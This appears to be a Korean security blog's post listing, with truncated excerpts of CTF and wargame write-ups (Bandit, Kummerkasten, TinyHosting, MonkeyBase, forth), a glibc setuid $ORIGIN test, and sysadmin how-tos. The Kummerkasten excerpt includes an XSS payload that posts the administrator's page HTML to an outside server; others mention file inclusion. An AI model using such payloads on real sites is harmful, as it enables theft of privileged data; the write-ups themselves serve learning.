Level GoalSSH를 이용해서 bandit.labs.overthewire.org 서버로 접속하여 로그인한 다음, Level 1로 넘어갈 수 있는 정보 찾기계정과 패스워드는 bandit0/bandit0 문제에서 주어진 계정을 가지고 해당 호스트로 접속을 해보면 아래와 같이 This is the OverTheWire game server.라는 문구를 확인할 수 있고 패스워드를 검증한다.패스워드도 계정과 동일하게 문제에서 주어진대로 입력해준다.$ ssh bandit0@bandit.labs.overthewire.org 로그인을 하게 되면 아래와 같이 정보들을 확인할 수 있다. 접속에 성공하였기 때문에 이제 Level 0에서 Level 1로 넘어가는 문제를 확인해보면, 다음 레벨로 넘어가는데 필요한 패스워드..
The GNU C library dynamic linker expands $ORIGIN in setuid library search path이 글은 위 취약점을 확인해보는 과정에서 알게된 내용으로 구성되어 있습니다. (연관성이 많이 없을수도...) 현재 접속한 계정 확인$ whoami; id 먼저 hello.c 파일을 아래와 같이 작성하여 컴파일hello.c:123456789101112131415#include #include int main(){ char buf[4096]; readlink("/proc/self/exe", buf, sizeof(buf)); printf("----------[hello]----------\n"); printf("getuid(): %d\n", getuid()); printf..
- 프로세스 정보 확인FreeBSD에서 기본적으로 /proc 에서 프로세스에 대한 정보를 확인할 수가 없다. mount 해보면 procfs가 없는 것을 볼 수 있다. # mount -t procfs proc /procmount 해주고 난 다음 다시 확인해보면 동작하는 것을 확인할 수 있다. 다시 /proc 에서 프로세스에 대한 정보를 확인해보면 프로세스에 대한 정보를 확인할 수 있다. - 파일 시스템 테이블에 추가하기# vi /etc/fstab proc /proc procfs rw 0 0 를 추가해주면 시스템을 시작할 때마다 자동으로 procfs를 mount 시켜준다.
CentOS 6.5에서 MySQL을 설치하면 5.1.73 버전이 설치가 되는데, 특정 버전을 사용하고자 할 때 아래와 같은 방법으로 설치할 수 있다. CentOS 6.5에서 MySQL 5.5.45 버전 설치해보기 (해당 방법은 플랫폼마다 패키지 관리 방법이 다르기 때문에 조금 차이가 있다.)1. MySQL Community Server (Archived Versions) 해당 사이트에서 다운로드 받을 버전과 플랫폼을 선택한다. 2. wget을 이용해서 해당 파일(MySQL-5.5.45-1.linux2.6.x86_64.rpm-bundle.tar)을 다운로드한다. 3. 다운로드 받은 tar 파일을 풀어준다. 4. 다운로드 받은 파일을 풀어보면 여러 rpm을 확인할 수 있다. 5. 설치 및 업그레이드 # rp..
- ITD 문제 서버가 닫혀있어서 찾아보니 소스를 공개해놓은 것이 있어서 개인 서버에 구축하였다.http://rnd.do9.kr:8080/글이 포스팅되어있는 사이트를 볼 수 있다. 위에 ImTooDeep 글을 눌러보면 해당 글의 전문을 확인할 수 있다.URL에 보면 /?p=ImTooDeep 형태로 데이터를 가져오는 것을 볼 수 있고, 실제로 http://rnd.do9.kr:8080/posts/ImTooDeep로 직접 접근해보면 해당 글의 내용만 나오는 것을 볼 수 있다. http://rnd.do9.kr:8080/posts/ImTooDeep 직접 접근 File Inclusion에 취약할 것이라고 생각하고 /posts/index.php 파일을 호출해보면 PHP 코드가 일부 깨져서 나오는 것을 확인할 수 있다..
FreeBSD 11을 Raspberry Pi 2에 설치하고 설정 및 업데이트하는 데 시간이 많이 소요가 된다.따라서, 설정을 마치고 나서 백업을 해두면 조금 더 편하게 초기 상태로 되돌릴 수 있다.방법은 FreeBSD 11을 설치할 때와 비슷하며 dd 명령어를 이용하여 반대로 해주면 된다. SD Card 삽입 후 확인$ diskutil list Disk unmount$ diskutil unmountDisk disk2 Backup$ sudo dd if=/dev/disk2 of=FreeBSD-20150901.img bs=1m conv=sync 복원은 설치와 동일한 방법으로 백업한 파일을 이용하면 된다.
- Sequence Hunt http://136.243.194.36:18888 send them as GET parameters here 를 선택하면 아래 페이지로 이동되고 인자가 없다는 메시지를 볼 수 있다. val0 파라미터 인자를 만들어주고 다시 접근해보면 val1 인자가 없다는 메시지를 확인할 수 있고 동일하게 인자를 만들어서 접근해준다. 인자를 다 만들어주고 나면 접속한 사용자의 IP 주소와 함께 값이 틀렸다는 메시지를 확인할 수 있다. 다시 메인 페이지로 돌아가서 get some info about you here 를 선택하면 아래 페이지로 이동되고 요청한 횟수를 확인할 수 있다. 그리고, Someone sent me this 를 선택해보면 Timing attack(https://en.wiki..
- Kummerkasten this site를 눌러보면 아래 사이트로 이동한다.해당 사이트는 관리자에게 메시지를 보낼 수 있는 기능이 있는 사이트이다. 간단하게 메시지를 전송 전송 결과로는 의미있는 정보를 얻기가 힘들다. Your Message 부분에 스크립트를 삽입하여 해당 메시지를 받아보는 관리자가 보는 페이지를 개인 서버 쪽으로 전송하도록 처리하였다.123456789$.ajax({ type: "POST", url: "http://14.36.23.78:1337/pwn", data: { 'data':document.documentElement.outerHTML }});Colored by Color Scriptercs 서버 쪽에서는 전송된 내용을 받아서 처리할 수 있도록 파이썬으로 아래 코드를 실행해놓은..
- TinyHosting 문제 서버가 닫혀있어서 캐쉬를 긁어모아서 개인 서버에 비슷하게 구축하였다.http://rnd.do9.kr/tiny/ 소스를 보면 주석으로 처리된 값을 확인할 수 있다. 주석으로 처리된 값을 파라미터로 전송하게 되면 index.php 소스 코드를 볼 수 있다. index.php12345678910111213141516171819202122232425262728293031323334353637383940 TinyHosting Filename: Content: Create! Colored by Color Scriptercs 소스 코드를 보면 REMOTE_ADDR 값과 HTTP_USER_AGENT 값을 더한 다음 SHA1으로 암호화한 값을 디렉터리 경로로 해서 index.html 파일이..
SHELL의 영어 단어 뜻을 찾아보면 "(달걀, 견과류 등의 딱딱한) 껍데기, 고둥 껍데기 모양의 것, 포탄" 이라는 뜻을 가지고 있다.즉, 무언가를 감싸고 있는 것을 뜻하는 단어이다. 컴퓨터에서 자주 쓰이는 SHELL도 비슷한 의미이다. 운영체제, 즉 커널을 감싸고 있는 것이 바로 SHELL이라고 생각하면 된다. 그래서 운영체제와 대화를 하기 위해선 SHELL을 통해야한다.이러한 SHELL이 하는 역할은 단순히 껍데기가 아니라 사용자가 입력한 명령어를 해석해서 운영체제가 이해할 수 있도록 지시해주고, 운영체제는 받은 지시 사항을 하드웨어가 이해할 수 있도록 번역하여 지시를 하게 된다.이렇다보니 SHELL의 종류도 다양하게 발전되어 왔다. 그 중에 대표적인 SHELL 몇 가지를 나열하면 다음과 같다. B..
윈도우에서 파이썬을 원활하게 사용하기 위해서 환경 변수에 등록해준다. 시스템 변수에서 Path를 선택해서 편집한다. 변수 값에 ;C:\Python27 를 추가해준다. (경로는 시스템 및 버전에 따라 다를 수 있음) 명령 프롬프트 창을 실행시켜서 python을 입력해보면 정상적으로 실행이 되는 것을 볼 수 있다. easy_install을 설치하기 위해서 https://pypi.python.org/pypi/setuptools/1.0#windows 사이트로 이동하면 ez_setup.py 파일과 설명을 볼 수 있다. ez_setup.py 파일을 다운로드한다. 다운로드 받은 파일을 빌드 시작 빌드가 끝나면 설치 시작 설치를 끝내고 난 다음, Scripts 폴더가 생성된 것을 확인하고 해당 경로도 시스템 변수 Pa..
- MonkeyBase http://136.243.194.35/ 문제에서 주어진 Invite key 값을 이용해서 등록 등록한 계정으로 로그인하면 아래 그림과 같이 온라인 채팅 사이트에 접속할 수 있다. ONLINE USERS에 있는 계정을 선택하면 URL에 ?id=1 파라미터가 추가되면서 채팅을 할 수 있다. Hello 입력 결과 톱니바퀴 모양 버튼을 눌러보면 Settings, Help, Logout 기능을 볼 수 있다.다른 기능을 알아보기 위해서 Help를 선택 HELP를 누르면 BBCODES 라는 것에 대한 설명이 나와있다. BBCODES 중에서 [URL]URL[/URL]을 이용해서 [URL]http://rnd.do9.kr/[/URL]을 테스트로 입력하였다. [URL]http://rnd.do9.kr..
맥에서는 Chrome 설정을 참고 해주세요.운영체제에 따라 등록하는 방법이 조금 다르지만, 크게 보면 http://burp 사이트에서 인증서를 받아서 설치하는 방법과 Burp Suite 프로그램에서 인증서를 받아서 설치하는 방법에 차이만 있을 뿐 두 방법 중 편한 방법으로 하면 됩니다. IE에서 Burp Suite를 이용해서 HTTPS가 적용된 사이트에 접근할 경우 아래 그림과 같이 보안 인증서에 문제가 있다는 내용을 볼 수 있다. Chrome가 다르게 IE에서는 "이 웹 사이트를 계속 탐색합니다(권장하지 않음)."을 선택하여 무시하고 접근을 할 수 있다. 인증서 문제를 해결하기 위해서 IE창을 닫은 다음, "관리자 권한으로 실행"으로 실행한다. http://burp/ 사이트에 접근하여 "CA Certi..
- forth nc 또는 putty 같은 것을 이용해서 IP는 136.243.194.49, 포트는 1024로 접속하게 되면 yForth 라는 서버에 접속을 할 수 있다. forth에 대해서 찾아보면 아래와 같이 프로그래밍 언어라는 것을 검색을 통해서 알 수 있다."Forth is an imperative stack-based computer programming language" 간단하게 계산을 해보면 특징을 알 수 있다.1 + 1 = 23 + 7 - 1 = 9위와 같은 연산을 forth 언어로 처리해보면 아래와 같다. 1 1 + .1) 1을 스택에 넣는다.2) 1을 스택에 넣는다.3) 스택에서 두 값을 꺼내서 더하기(+)를 한 값(2)을 다시 넣는다.4) 스택에 있는 값을 출력한다. 3 7 + 1 - ..